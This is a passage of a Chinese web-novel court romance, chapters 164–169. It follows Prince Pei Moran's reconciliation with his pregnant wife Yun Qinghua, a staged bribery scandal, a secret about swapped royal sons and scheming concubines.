“呵。”苏灵音的心情不错,她的神色透着傲慢,“如若云清婳没跟我共侍一夫,或许我们会成为知己朋友,只可惜我们是敌对的。” 巧慧的眼中划过异色,“所以主子是要放过云清婳?” “当然不!对手可以尊敬,但绝不能心软。她肚子里的孽种,我不喜欢!”思及此,她的手抚摸着小腹。 裴墨染的第一个孩子,只能由她来生。 就算云清婳真的和离,她毕竟是孩子的生母,她在裴墨染心中会永远留下痕迹。 …… 裴云澈自然也听说了云清婳和离未果的事,于是他抓紧时间,带人搜查裴墨染受贿一案,想要将他彻底按进泥坑。 朝野中都在感慨战神陨落,鬼迷心窍,也有人嘲笑武夫粗鄙,眼界窄小,说他不像皇上的儿子。 令众人没想到的事,半个月后,事情迎来了反转。 所谓的受贿品都是裴墨染的私产! 至于那份名单,也全是假的! 受牵连的官员个个清正廉洁,受民爱戴。 甚至有的官员府邸的屋檐破了,都没钱修补。 这一个月,彻查贪腐废了不少人力物力,皇上甚至还放话要大义灭亲,拿肃王开刀,以儆效尤。 可结果,啪啪打脸,一切都是空穴来风。 睿王跟虞将军趁机弹劾裴云澈,说裴云澈恶意举报,污蔑肃王,手足相残。 皇上颜面尽失,龙颜震怒,当即把裴云澈叫去御书房臭骂一顿。 当日,他便下令释放裴墨染。 至于立储诏书之事,皇上差点气绝,本想写裴云澈名字的念头硬生生被打断。 …… 裴云澈被责令回府自省时,他才陡然意识到,他中计了! 当初养的狗,变成狼了。 他气急,眼中泛出寒星般的光芒。 枉他对裴墨染多有不忍,没成想他早就起了谋逆之心! 真该死! …… 裴墨染回府时,云清婳带着全府上下迎接。 云清婳深深望着他,可却板着脸。 她的淡漠,好像绣花针,在他心尖上扎了一下。 他知道,蛮蛮还在怪他。 “王爷……”苏灵音抽抽噎噎地小跑着,扑进裴墨染的怀里,就像久别重逢的苦命鸳鸯。 “呜呜呜……王爷,您终于回来了!妾身好担心您啊!妾身就知道您是冤枉的。” 裴墨染下意识看向云清婳,他很想推开苏灵音,可终究忍住了。 “……”云清婳刮了他一眼,转身便走。 一个妾室嘲讽:“什么第一贵女?什么京城大家闺秀的典范?大难临头之时,居然给王爷送去了和离书!” 其他人应和:“某些人真是薄情寡信!亏王爷待她如珍似宝。” “我若是腹中怀有孩子,是万万不会舍弃夫婿的。” 这些人全是苏灵音这段时间找的盟友。 魏娴神色清冷,厉声道:“各位慎言!区区妾室,主子说话轮得到你们插嘴?王妃仁善不计较,但倘若计较起来,你们的脑袋够砍吗?” 几个妾室不满地嘁她,鼻子都气歪了。 “狐假虎威!她算什么东西?” 一个样貌美艳的妾室上前,福身道:“王爷,这一个月,府中中馈都是苏侧妃操持的,苏侧妃真是有情有义,是妾身们的楷模。” 苏灵音嘴角的笑纹加深,不错,这颗棋子还算聪明。 “王爷,您别听她们胡说,妾身只是做了些该做的事,王妃怀了皇孙,妾身理应分忧。”苏灵音的声音娇软,好像无欲无求。 裴墨染露出心疼的表情,揉了揉她的脑袋,“灵音,辛苦你了。” “不辛苦!为您做任何事,妾身都会感到幸福。”苏灵音炽热地表达着自己的爱慕。 裴墨染:“……” 好恶心! 好肉麻! 这女人是怎么说得出口的? 第165章 裴墨染以色侍人 “想必王爷饿了吧?妾身做了您爱吃的小菜,回清心阁沐浴后就可以用膳了。”苏灵音自顾自的安排,就像他们是民间的平凡夫妻。 而她是肃王府的女主人。 魏娴愁上眉梢,她替蛮蛮来气。 一对渣男贱女! 裴墨染很不满苏灵音的僭越,她真当自己是主母了? “本王要回长信殿处理些事情,你先回去。这段日子辛苦你了,等会开了本王的私库,你喜欢什么便去拿。”裴墨染安抚性地拍了拍她的肩膀。 “是。”苏灵音颔首。 裴墨染转身的瞬间,苏灵音缓缓吁了一口气。 为何裴墨染被查出没受贿?难道这是一个局? 可倘若真是局,为何云清婳要和离? 而且裴墨染这么暴戾的人,却对她满眼感激、疼惜,显然是动了心,根本没有怀疑到她的头上。 …… 裴墨染交代万嬷嬷罚了那几个对云清婳不敬的妾室。 他先回了长信殿沐浴更衣,一连换了三身新做的锦绣衣袍,自觉打扮俊俏,无可挑剔后,才绕路去了玄音阁。 他踏入院中,将食指抵在薄唇上,不准任何人通传。 寝殿中,云清婳正靠在引枕上,手里捧着一碗安胎药。 她今日穿着浅紫色金丝绣撒花裙裾,腰封未束,肚子高高隆起,整个人像是被抽走了精气神,眼尾低垂,疲惫不堪,姣美的小脸惹人怜惜。 “主子,您跟王爷究竟是怎么了?您不是一直希望王爷平安吗?”飞霜在一旁给她打着扇子,面露焦急。 “飞霜,你感受过被亲近的人捅刀子的滋味吗?”她将药碗放在茶几上,冷不丁问道。 飞霜愣住了,她痴痴地摇头,“主子,您怎么突然说起这个?” “……”云清婳不语。 门口的裴墨染顿住了脚步,他的心胀疼。 他隐瞒蛮蛮,可蛮蛮却全心全意为他奔波,甚至差点委身于裴云澈…… 他是混蛋,他居然在蛮蛮背后捅刀子。 “……”贴身太监也不由得幽幽地看向裴墨染。 唉…… 王爷这个局,谁都对得起! 唯独对不起王妃啊! 裴墨染走进殿中,他的声音干涩低哑:“蛮蛮。” 浑圆的眸子抬起,黯淡无光地望着他。 仅一眼,云清婳心中便笑了。 裴墨染今日戴着白玉冠、白玉簪,一身清雅的水蓝色外袍勾勒出宽肩窄腰,他的腰间挂着凤凰纹金丝腰带,腰带下坠着一枚羊脂玉玉佩。 一身浅色打扮,完全是她的喜好。 这明显是为了见她,特意搭配的。 他开始以色侍人了,谁是上位者还用说吗? “飞霜,快去准备火盆、芭蕉叶、神仙叶给王爷去去晦气。”她望着他,淡淡地吩咐。 裴墨染的心咯噔一响。 她又叫他王爷了! 她已经很久没这么生分地叫了。 “是。” 飞霜早早就备了驱晦气的物件。 几个婢女拿着芭蕉叶在裴墨染的衣袍上轻轻拍打,又跪下请他跨火盆,还在他身上撒神仙叶的水,把他好一顿折腾。 可为了云清婳,他尽管烦躁可还是一一忍受。 过了一盏茶的功夫,去晦气仪式才完毕。 他坐到云清婳身侧,笑着讨好:“蛮蛮,我好想你。” “……” 云清婳扶着后腰,咬着牙,艰难地站起身。 裴墨染也跟着起身,“蛮蛮,你要去哪儿?” “……” 她径自往床榻走去,显然不想跟他说话。 他的心脏像是蚕茧被抽丝,里面快要空了。 明明蛮蛮什么话都没说,什么事都没做,可却让他又慌又怕。 裴墨染长臂一伸,从她身后抱住她。 良久,他叹了口气,仿佛声音发自肺腑:“蛮蛮,别气了好不好?为了我这样自私、混账的人不值得!” “这件事是我不对,我给苏灵音、裴云澈下套,故意让他告发我贪污受贿,意欲拉他跌下神坛,打破他谦谦君子的外壳,让所有人对他失望。” “起先我觉得这是政事,不便与你讲,你向来也不爱打听政务。后来我……”他停顿了下,“我想试试你,看看我一无所有后,你的反应。” “……”云清婳不语。 裴墨染见她还是不为所动,这才反应过来,这次事情的严重性。 这一次,比以往的每一次都要严重。 他抿了抿唇瓣,眼神坚毅起来,像是下定决心,“蛮蛮,我没被人爱过,也不知道如何爱人。有了你以后,我总是不安,不断地想测试你对我的爱。如今醒悟过来,我才明白我多么卑劣、自私!” 云清婳的声音很轻,也很镇定,“我很难过,也很心寒。你这样测试我,让我觉得我跟苏灵音没有什么区别。” 裴墨染摇头,“不……” 她接着道:“你没有把我当作一个平等的人,而是当作一个戏弄的玩具。” “为了你,我短短几日,跑遍了京城大大小小的官邸。有人敷衍我,也有人劝我,更多的人闭门不见。若不是身怀有孕,我差点就要委身于贤王了。” “你的防备,我一直能感受到,但我以为下狱这种大事,你不会瞒我。可我高估我们的感情了。” 裴墨染的喉头发堵,浑身的毛孔好像都在被针扎,四肢百骸都难受。 蛮蛮委身于裴云澈,他想都不敢想。 他走到她面前,双眼真诚,“我知错了!我从未把你当做玩具,我爱你!以后我再也不会测试你,我会跟你爱我一般爱你,你教教我好吗?” 云清婳掀起眼皮,眼中像是晕着弥散在山中的浓雾,让人看不懂,“再烈的火,也会被水熄灭。我爱你,但曾经的云清婳更爱你,我再也没办法回到以前了。” 裴墨染感觉她像是把手伸进他的胸口,硬生生抠下一块心脏。 他是肃王又如何? 他无法命令蛮蛮像曾经那样热烈地爱他。 这种感觉,就好像有人摔碎了和氏璧,世上再也没有了。 而一切的罪魁祸首,是他自己! “蛮蛮,我们还有一辈子,你不用这么辛苦地爱我,以后换我爱你。”他的双眼泛红。 云清婳有点嫌弃。 亏他总说苏灵音恶心,他简直比苏灵音还恶心啊! 不是,他是怎么想出这个膈应人的话的? 或许是怀孕太累了,换做以前,云清婳一定会挤出眼泪,可现在她懒怠了。 “夫君,我不愿与你变成君臣,倘若我们二人真有那一日,还请你善待我跟孩子。”她正色商量。 裴墨染的心简直千疮百孔,为什么她总是能不痛不痒说出这样生分的话? “胡言!蛮蛮,不许与我生分!你是我的妻子,我将来的一切都是你跟孩子的,我怎会苛待你们?你别说了,你只会气我。”他的双眼湿漉漉的,声音颤抖,向来冷厉的脸满是破碎。 像一条在雨天被抛弃的狗。 云清婳没想到还有这个收获。 也就是说,她的孩子,储君的位置稳了是吗? 很好! 她是时候走下台阶了。 “夫君都快哭了。”她打趣般说道。 裴墨染愣怔片刻,他挤出了一个比哭还难看的笑,他百感交集地将脑袋埋进云清婳的颈窝。 云清婳当真感受到了脖颈传来温热的濡湿。 毕竟才二十三岁,搁现代就是大学刚毕业的年纪。 她拍抚他的后背,无奈道:“我又没说不爱你,哭什么?” “我没哭。”他嘴硬。 第166章 狗男人一直挨巴掌 云清婳拍抚他的背,“我只是觉得我们之间有问题,我应该提出来,免得你我走到君臣那一步。夫君,你要当孩子的榜样啊,否则孩子出生后一定爱哭。” 裴墨染知道她心软了,或者说从一开始她都没想过怄气。 毕竟她为人宽厚,就算赵婉宁当初给她下春药,她都不曾想过报复。 他闷声说:“我的儿子才不会爱哭。” “……”云清婳翻了个白眼。 狗男人又开始盼儿子了! 虽然飞霜做了药,让她怀了双胎,但生男生女可不是她们能控制的,这全都取决于男人。 “夫君不喜欢女儿吗?”她引导性地问。 他稍加思索,轻抚她的肚皮,“喜欢!只要是蛮蛮生的,我都喜欢。两个儿子不错,但一儿一女最好。” 这样日后就不用生了。 “……” 狗男人搁她面前许愿呢? 当她是许愿池里的王八吗? 晚上,二人一同用了膳。 一切仿佛回到了从前,可裴墨染又感觉他们之间隐隐有什么东西变了。 这让他觉得不对劲。 云清婳的脚肿得厉害,她倚靠在窗牗下的坐榻上,给孩子绣着小衣服。 裴墨染坐在一边,巴巴地望着她,眼皮眨都不眨,眼珠子好像都快黏在她身上。 就像渴求主人抚摸的小狗。 这让云清婳、飞霜都嫌弃不已。 “你看着我做什么?去沐浴啊。”云清婳凝眉。 “嗯。”他立即命人抬水。 …… 浴室中。 裴墨染更衣时,贴身太监端来了换洗衣物。 他忍不住开口:“你觉不觉得今日王妃待本王,跟以前有些不同?” “王妃钟爱王爷,王爷的家事,奴才不敢多嘴。”贴身太监恭敬道。 裴墨染不耐的瞪了他一眼,“本王准你说。” 贴身太监深深鞠了一躬,“王妃爱敬王爷,从未改变。但曾经的爱慕中带着小心翼翼与讨好,一口一个您,现在少了讨好,您们倒是有些像民间夫妻了。” “嗯。”他感觉有些心酸。 以前的蛮蛮像一团火,是他把这团火浇熄了。 “她不必讨好本王,她这样就很好。”他叹息道。 贴身太监不由得笑了。 王爷当真为王妃倾心了。 沐浴完毕,裴墨染一回寝殿,便看见屏风透出影影绰绰的身影。 “主子,王爷方才很紧张您,眼神一直都未曾离开您。”飞霜替她更衣。 云清婳轻抚着肚皮,语气平和:“我跟他,动情的时间没对上。我最喜欢他时,他心里还放不下赵婉宁。如今他最喜欢我,可是我那股少女怀春的劲头过去了。” “造化弄人。”飞霜长叹一声。 裴墨染的胸口淤堵,里面好像憋着一口血。 若是他没有遇见赵婉宁就好了! 若是他不曾离开京城就好了! 若是父皇当初没有将他跟裴云澈调换,他就该是储君,而蛮蛮跟他会是青梅竹马! 夜半,天幕漆黑,没有一丝风,天上也没有一颗星子。 格外静谧,夏虫在窗外鸣叫。 云清婳跟裴墨染躺在床榻上,四目相对。 她的手搭在他的腰间,娇嗔着瞪他,“你盯着我看什么?快睡。” 裴墨染的眼神落在她的胸口,“本来我还奇怪,每日给你补身子,为何你还那么瘦?原来肉都长在这里了。” 她微微一怔,反应过来后,伸手在他脸上拍了一巴掌,羞愤道:“不要脸!” 蛮蛮是真的不准备再惯着他了。 这样也不错。 裴墨染捏着她的手心亲了亲,“蛮蛮的手也是香的。” “流氓!”云清婳想扇他,都怕他舔她的手。 他装可怜,“你不会真生气了吧?我在牢里关了一个月,我们都多久没亲热过了?你还又打又骂的。” “现在不可以。”她嫌弃地推他,“裴墨染,你再发疯,我就扇你了。” 裴墨染委屈地朝后退,“我没想那事,就是随口一说,你别总打我啊。” 云清婳将信将疑地看着他,“夫君,你再乱来,我就……” “你还想杀夫不成?”他小声嘀咕。 她瞪了他一眼,“你再这样,就搬去暖阁睡。” 一听到分开睡,裴墨染瞬间老实。 “我有正事跟你说呢。”他的表情逐渐严肃,“蛮蛮,去慈宁宫看你那晚,出宫前,我遇见了一个老嬷嬷。” “她告诉我了一个秘密,她说我是皇后的亲儿子,裴云澈才是宸妃的儿子,我们被调换了。” 云清婳装出惊讶的表情,沉默几秒后,她恹恹白了他一眼,“无聊!夫君嘴里没一句实话,净耍我玩!” “你怎么不信我?”裴墨染着急地下榻,从随身带的锦盒里拿出了那张被烧毁得只剩一半的画。 他几乎要把画杵在她脸上,“你看啊!” 云清婳接过画,细细地看了起来,随后脸上露出震惊的表情,“这、这……” “我没骗你吧?”他扬起下巴,骄傲地轻哼了一声。 “我曾见过皇上的丹青,这幅字画的字迹、笔锋,跟皇上的习惯一模一样,而且还有玉玺印章!”她分析着。 裴墨染道:“得知真相的那一晚,我恨不得冲回慈宁宫说与你听。可是我不敢,宫中眼线太多,我又怕你演技不好,暴露出来。” 狗男人又说她演技不好! 云清婳恼了,手伸向他的大腿内侧掐了一把。 嘶—— 裴墨染倒吸了口凉气,“你往哪儿掐?真想谋杀亲夫啊?我的命根子……” “闭嘴闭嘴!你不许说了!”云清婳听不下去了。 他恶劣地笑了,“蛮蛮,你是不是想要了?” 啪—— 寝殿中又传出清脆的巴掌声。 门外,飞霜、贴身太监同时肩膀一抖。 “什么声啊?王爷不会打我们主子吧?”飞霜急得想推门进去。 贴身太监张开双臂,拦住她,“飞霜姑娘,王妃哪受得住王爷的巴掌?小命不得打没?王爷哪舍得?” 飞霜反应过来,霎时不慌了。 挨巴掌的是王爷就行,反正他脸皮厚。 寝殿中,裴墨染捂着脸,幽怨地看着云清婳。 云清婳打量着画,分析道:“夫君,宸妃的相貌清丽温柔,贤王的确很像她。其实我早就疑惑,世人皆知皇上宠爱宸妃,不喜皇后。可皇上却分外宠溺贤王,忽视您。” “旁人说,是因为父皇恨我害死了母妃。”裴墨染的眼神暗淡。 云清婳摇摇头,“这个说辞是立不住的,倘若我因为孩子有虞,你会恨我们的孩子吗?” 裴墨染的眼中流露出痛惜,“谶言!你才不会出事!我们的孩子是你怀胎十月所生,我自然心疼。” “是啊,皇上的举止不合常理。但仅凭这副画像就想揭开真相,还你公道,会不会太草率了?”她轻声叹息。 他的嘴角上扬,“有些事情是抵赖不了的。听说裴云澈不足一岁时,因为哮喘险些没命,父皇母后皆没有此病症,但宸妃的哮喘人尽皆知。” 第167章 她是母老虎? “这得找到当年给贤王看病的太医,他一定知道内情,贤王的哮喘十有八九是天生的。”她笃定道。 裴墨染的食指绕着她柔顺的头发,“我已经派人去查当年的太医了。” 云清婳心疼地看着他,“夫君这些年受苦了。” “蛮蛮,这些年我已经习惯了,从小裴云澈考得一次甲等,就能得到父皇的夸奖,而我得考十次,才能被父皇多看一眼。我不觉得苦,我只觉得委屈了你,无端陪我吃苦。”他牵着她的手。 她勾勾手,“夫君,你过来。” 裴墨染警惕地俯下身,“蛮蛮,你不会又想扇我的脸吧?” 她忍俊不禁,她勾住他的脖子,唇瓣落在他的唇上,“蛮蛮知道夫君并非池中之物,我不觉得苦,我只觉得可惜,本来我们应该是青梅竹马的。” 他的心软成了一滩水,捧着她的脸以吻封缄,动作温柔。 云清婳半推半就,良久,裴墨染才放开她。 二人相拥而眠,一夜好梦。 …… 翌日清晨,天蒙蒙亮,裴墨染便准备去清心阁。 苏灵音是裴云澈的细作,还是有必要安抚的。 “王爷不留下用膳?”飞霜问道。 “肃王要去找苏侧妃诉衷情,怎能吃玄音阁的早膳?”云清婳阴阳怪气道。 裴墨染的头皮发麻。 他委屈地蹲在她身前,“蛮蛮,我也不愿的,你别拿这种事说笑。” 贴身太监的鸡皮疙瘩起了一身。 每次一想到要看王爷跟苏灵音演戏,他就膈应。 她轻笑,“好。” “爹爹要去干正事,你们两个臭小子乖些,别闹娘亲。”裴墨染轻抚她的肚子,温柔地说。 飞霜的眼中划过异色,“王爷怎么知道主子肚中是男孩?莫非太医看出来了?” 裴墨染的嘴角上扬,他坏笑地看了眼云清婳,“蛮蛮,我不知道你腹中是男孩还是女孩,但我知道里面是一对小老虎。” “为什么是老虎?今年不是虎年,我跟你也不属虎啊。”她有些懵。 扑哧—— 飞霜、贴身太监同时笑喷了。 裴墨染不语,转身就走。 少顷,云清婳反应过来。 她恼怒地随手拿起一个橘子,狠狠往裴墨染背后砸,“裴墨染!你敢骂我是母老虎!” 橘子砸在了门框上,裴墨染嗤嗤地笑了。 …… 清心阁。 苏灵音才洗漱完毕,就看到了裴墨染,登时有些惊讶。 “王爷,您怎么来了?”她眼前一亮,惊喜地朝他小跑而来。 裴墨染坐在桌前,眼中含笑,“本王昨日便想来看你,可忙着处理政务忘了时辰,今日特意早起,想看看你有没有哭。” 苏灵音的心尖轻颤。 男人用起心来,的确很难不让人悸动。 可她不是寻常少女,她知道孰轻孰重,情爱最不值钱了。 “讨厌!我又不是好哭包!王爷要注意身子,否则妾身会心疼的。”她抱着他的胳膊撒娇。 裴墨染似有触动,意有所指地说:“灵音,若是旁人也像你一般关心本王就好了。” “王爷说的是……?”她故作懵懂。 “灵音,本王不欲瞒你,经过此事,本王看清了许多人,本王很心寒。”他牵着她的手。 贴身太监突然感觉王爷的措辞、语气很像王妃。 苏灵音试探性地问:“王爷可是查出了冤枉您的人?” 裴墨染沉默了,良久,他屏退下人,“不论本王有没有受贿,告发本王的人都不该是裴云澈!” “二十三年的兄弟情谊,他怎么忍心害本王下狱?若不是诸葛先生,本王可能会在宗人府被关一辈子!” “灵音,本王很心寒,父皇母后不顾及亲子情,裴云澈也不顾及兄弟情,甚至王妃也送来了和离书,只有你愿意留在本王身边。” 苏灵音松了口气。 也就是说裴墨染的确贪污受贿了,可因为诸葛贤神机妙算,所以才没查出来。 这个说辞,苏灵音自然不会全信,她只信六成。 毕竟裴墨染看她的眼神,是那样的炙热、柔情,不似作伪。 “表哥只是一时糊涂,唉……”她无奈地叹气。 裴墨染的面色黑沉,“他以为本王想夺嫡,不惜手足相残。倘若本王真有野心,何不借机将此事闹大?联合睿王让他下不来台?” “王爷心里的苦,妾身都明白,妾身会劝劝表哥。”苏灵音道。 他不悦道:“你一个女人,管这么多事作甚?不必劝了,是裴云澈不仁不义在先,本王从此与他割席,老死不相往来!” 苏灵音的眼底划过精光。 或许是她多虑了,裴墨染行事还是这么鲁莽冲动、意气用事,丝毫不留余地。 她委屈地嘟嘴,“王爷,妾身失言,妾身只是不愿您与人为敌。” “没怪你,方才本王只是话赶话。”他揉揉她的脑袋。 她靠着他的肩膀,怯生生地说:“王爷,摘星楼建成那一日,妾身不是故意攀咬王妃的,妾身只是怕您被蒙蔽。” “别提她了!和离书之事,都传开了吧?本王虽然知道王妃是为了保全孩子,可还是不免有些心寒。”他的语气饱含沧桑。 苏灵音的嘴角勾起。 裴墨染一口一个王妃,已经没有唤云清婳的小名了,这足以说明问题! 他嘴上不说,但心里一定是埋怨云清婳的。 这场游戏,她已经赢了。 忽地,万嬷嬷急吼吼地小跑而来,“王爷,王爷……” “怎么了?”裴墨染紧张地看向她。 莫非是蛮蛮……出事了? 万嬷嬷的额上满是汗珠,面色纠结复杂,“有喜了!沈夫人……有喜了!孩子已经四个月了!” 苏灵音的表情崩坏,变得有些狰狞。 裴墨染的眸色复杂,“把她送回院子,赏些补品,让她好生养着。” “王爷不去看看沈夫人?”苏灵音露出自以为大度的笑。 实则很是僵硬。 他轻刮她的鼻尖,宠溺道:“灵音,那疯妇的孩子,本王并不期待,你快些怀孕吧。” “讨厌!”苏灵音的面颊腾得红透了,她羞涩不已。 她心中恨绝了,当初替沈沁求情,真是一个错误的决定,否则这个贱人也不会怀孕! 裴墨染抽回胳膊,他不动声色地用帕子擦手。 这个女人休想怀上他的子嗣! 她每日衣食住行所用的水中,都被下了麝香。 …… 皇后头风发作,卧病在床。 等了三日,苏灵音被召进宫探望。 她端着药碗,给皇后喂药。 裴云澈阴恻恻地坐在一旁,周身散发着寒气,他冷笑:“裴墨染真是好手段啊!把我们耍得团团转。” 苏灵音将裴墨染的话原原本本说了出来,“看裴墨染的表情倒不像作伪,或许是诸葛贤神机妙算,化险为夷。” “本王从此一个字都不会信裴墨染,灵音,你长点心,当心被狗咬了。”裴云澈狭长的眸子,似有暗箭射出。 他的语气满是嘲讽。 “……”苏灵音很不服气。 她从小便才思敏捷,过目不忘,远超所有兄长,只是这个时代男尊女卑罢了,否则她定有一番作为。 第168章 狗男人模仿她,装病 皇后的脸枯槁泛黄,连气都提不起来,“灾星!他就是个克母的灾星!裴墨染就是克本宫的!自从他回来,吾儿处处不顺!他该死啊,该死啊!” “母后,您现在还心软吗?”裴云澈摇了摇手中的折扇,讥讽地笑问。 皇后的手缓缓攥成了拳,她的胳膊颤抖,“谁想夺走我们母子的一切,谁就该死!” “表哥,裴墨染的意思是要与您撕破脸,老死不相往来……”苏灵音欲言又止。 “呵……”裴云澈轻笑,眼底浮出厌色,“粗鄙的武夫也配跟本王称兄道弟?” 他们之间本就隔着血海深仇。 他跟蛮蛮的孩子,便是被裴墨染害死的! …… 云清婳也在第一时间收到了沈沁怀孕的消息。 魏娴坐在棋桌对面,落下一枚白子,“她的运气可真好,每次总有人救她,化险为夷,” “小丑罢了,不用挂心。”云清婳放下一枚黑子。 “听说沈沁的身子将近五个月,肚皮有些大呢。”魏娴的脸色变得难看,“她莫不是也怀了双生子?” 云清婳讥诮地笑了,“之前,太后给了赵婉宁一副生子秘方,据说一位太妃曾经服用后,老来得子,生下两个儿子,只是生产时血崩,当晚就下葬了。” 魏娴揉了揉胳膊上的鸡皮疙瘩,只觉得后背发凉,“沈沁是在作死啊,两个孩子恐怕也保不住,毕竟苏灵音一定不会善罢甘休。” 云清婳根本没把沈沁放在心上,她的结局只有死路一条。 …… 苏灵音回府时,正好看到飞霜带着几个太监,在玄音阁不远处的树下逮知了。 飞霜拿着捞网,边动作边吩咐:“主子快生了,这些该死的知了叫个不停!害主子午睡都睡不好!你们仔细些,一个知了都别放过。” “是。” 苏灵音的眼中燃起怒火,“一个两个都有孕了,岂不是显得我没用?” 巧慧道:“怎会呢?主子会骑射擅书画,身子康健,是女中豪杰,可比云清婳这个娇弱的菟丝花强得多。” “那为何我嫁进来这么久还没怀孕?你请个大夫到清心阁检查检查,我怀疑我被人算计了。”苏灵音的弯眉一沉。 “是。”巧慧正走着,她忽然眼前一亮,“主子,您看……” 苏灵音远远看见,飞霜的一枚簪花掉到了地上,滚进了花圃里。 她的眼中释放出精光。 巧慧立即将簪花拾走。 …… 苏灵音走后,飞霜下意识摸了下发髻,可是空了。 “诶,主子刚赏赐的红玛瑙珠花呢?”她着急地弯腰寻找。 几个太监跟在她身后寻找起来。 回到玄音阁,云清婳的目光锁定在飞霜的发髻上,“事情办妥了?” “有咱们的内应在,自然妥帖。”飞霜咧嘴一笑,露出白净的牙齿。 云清婳颔首,“我抛出这么香的诱饵,苏灵音舍得不上钩吗?” 就在这时,管家跟几个门房匆匆跑了进来。 “王妃,不好了,不好了!” “王爷受伤了!” “有刺客当街行刺,王爷受伤了!” 几个人七嘴八舌,把云清婳炸得耳朵疼,脑子也嗡嗡作响。 所有人都露出惶恐的表情。 云清婳凝眉,装作慌张,“王爷没事吧?” “听说王爷流了好多血,血都满出轿子了!王爷被就近抬去了北镇抚司,太医都赶过去了。”管家佝偻着腰,气喘吁吁,眼中含泪。 万嬷嬷闻言,直接晕了过去。 婢女立即给万嬷嬷掐人中,“快传府医!” 云清婳用帕子擦了擦眼角并不存在的眼泪,“不行,我得去看看夫君!” “飞霜,把云家传下来的保命丸带上!” “是。”飞霜也露出惊恐的表情。 一时之间,肃王府上下人心惶惶。 有的妾室还说,肃王是不是犯太岁,才出大牢,又遇谋杀。 …… 马车上,云清婳扶着肚子,她不准马车夫驭马太快。 她这次还带了魏娴。 路边的百姓嘴里都在聊着方才肃王遇刺的事。 “堂堂战神才出地牢,又当街被行刺。背后没人整他可能吗?” “一定是睿王!听说睿王向来跟肃王合不来,之前北镇抚司不是睿王掌管吗?可肃王把北镇抚司从睿王手里薅下来了。” “啧啧!天家的事,真不是我们百姓能明白的,手足相残啊,他怎么做的出来的?” “你们不会没听说吧?污蔑肃王贪污,让肃王下狱的,是贤王!所以此事恐怕……” 这掀起了轩然大波,众人惊呼,“不可能吧?贤王不像那种人啊!” “知人知面不知心啊!” 云清婳听到这些,拳头硬了。 她满头大汗,在马车里闷得想吐。 狗男人居然模仿她,演起了柔弱,他装什么重伤? 害她不得不接招! “蛮蛮,要不咱们把马车停下,歇歇吧?”魏娴心疼地给她擦拭着额角。 她不是怕别的,她是怕把蛮蛮颠早产! 当街生子,有损颜面不说,主要是她不会接生啊! “无妨。”云清婳往嘴里塞了一瓣橘子才稍微止住了恶心。 马车在北镇抚司门前停下。 云清婳下车后,扶着马车就吐了。 “裴墨染最好有事!”她咬牙切齿。 一会儿一定要扇他! 作为肃王妃,又是特殊时期,云清婳进北镇抚司自然没人敢拦。 她风风火火走进公堂,衣袂翩跹。 啊—— 几个副将就跟见了鬼似的,黑脸发白,一惊一乍。 “夫君呢?是不是公堂后面?”云清婳看到地上淅淅沥沥的血渍,边说边往里面走。 她大抵是知道各个府衙的结构的,不必人引导,就能猜出大致位置。 一个大胡子副将挡在她面前,“别别别!嫂夫人舟车劳顿,您先坐下,我给您泡杯茶。” “我不喝茶,夫君受了重伤,我什么都喝不下。”她大步往前走。 又一个年纪小的副将张开双臂,“嫂夫人,别急着走啊!您喜欢糕点是吧?我买了些,您尝尝?” 云清婳蹙眉,她鼻尖泛红,嚷声道:“你们能不能别打趣我了?现在不是说笑的时候!” 又一个年长的副将笑道:“嫂夫人,其实王爷没受什么重伤,您请回吧。” “是不是重伤,我得亲自去看一眼,否则我心不安。”云清婳往前走。 可三个男人并肩而战,挡在了走廊口,形成了一堵肉墙。 “嫂夫人,您坐坐,等太医看完病,再进去看王爷也不迟啊。”三个人强颜欢笑。 飞霜走到前面,狠狠推他们,“闪开!都闪开!肃王妃的路你们都敢挡?” 她对他们拳打脚踢。 “闪开!”魏娴冷簌簌地说,“我爹是北镇抚使,王爷受伤,家眷不准探望,这是什么时候的规矩?” “母老虎!”一个副将被飞霜踹了一脚,忍不住嘟囔。 飞霜把他撞开,云清婳趁机从空隙钻了进去。 第169章 这就是花心的下场! “嫂夫人……”三个男人追在后面。 云清婳在走廊的尽头,听到了女子娇滴滴的啜泣。 这间房,应该是当值的人休憩用的。 门被开了一条不大不小的缝隙。 云清婳站定一看,焦急的脸色霎时变得冰冷。 房中,裴墨染躺在床榻上,胸口被捅了个窟窿,一片血渍,苏灵音正握着他的手,哭得梨花带雨。 “呜呜……王爷,您一定不要有事啊。” “要是伤口能转移到妾身身上就好了。” 裴墨染用指腹为她揩去眼泪,“傻!这么深的伤口,你挺不住的。本王宁愿自己疼,也见不得你难受。” 苏灵音的心忍不住的悸动,眼尾红了三分,眼泪更加汹涌。 他一个武夫,说起情话,怎么这般动人? “怎么又哭了?你不觉得我们有缘?我胸口上被捅了一个窟窿,你也是。”他笑道。 “呜呜呜……都什么时候了,您还开玩笑!”苏灵音不知哪根神经被刺激,突然放声大哭。 裴墨染感受到有视线落在自己身上,往门口一看,整个人僵住了。 他碎了! 云清婳抱着胳膊:“……” 三个副将同时叹气,“唉……” 这就是花心的下场! 他们尽力了。 “呸!难怪一直拦着!狼狈为奸!”飞霜怒骂。 “你一个小姑娘怎么骂人啊?谁是狼,谁是狈?”一个副将气呼呼地叉腰。 另一个副将分析:“肯定咱们是狈,王爷是狼!狼多威武啊?” 飞霜气炸了,抬起腿胡乱踹了一个人。 乾风疼得倒吸了口凉气,他气恼道:“不是!我一句话都没说啊,我就是路过,你踹我干嘛?” “男人没一个好东西!”飞霜吐沫星子喷了他一脸。 魏娴也抱起了胳膊,她十分赞同这句话。 门外的四个男人安静如鸡:“……” 云清婳直勾勾地盯着裴墨染、苏灵音,眼神讥诮。 苏灵音听到门外的动静,她一扭头,视线正好撞进了云清婳的眼中。 “王妃来了?”她的眼中露出挑衅,语气怯懦,“妾身实在担心王爷,没禀告您就赶来了,还望王妃不要怪罪。” “嫁做人妇,却擅自出府抛头露面,既然知错,还不回去领罚?”云清婳冷如冰珠地吐出这一番话。 “是。”苏灵音颓丧地垂下颈子。 “你何错之有?某些人自己做不到关心夫婿,便不准旁人做,满嘴规矩,实则针对报复。”裴墨染的声音微弱,却满满的讽刺。 苏灵音像是找到了靠山,一脸幸福地看向裴墨染,“王爷,您哄哄王妃啊,别说气话。” “王妃怀有身孕,快些回去吧。”裴墨染摆摆手。 “你出去!”云清婳的脸色阴沉,眸中滚动暗涌。 苏灵音擦去眼泪,“是。” 她当然会出去,她巴不得云清婳大闹一场呢。 云清婳走进房间,将门插上,隔绝了外面的一切视线。 几个副将在心里替裴墨染点蜡。 门内很快就传来云清婳略有起伏的声音。 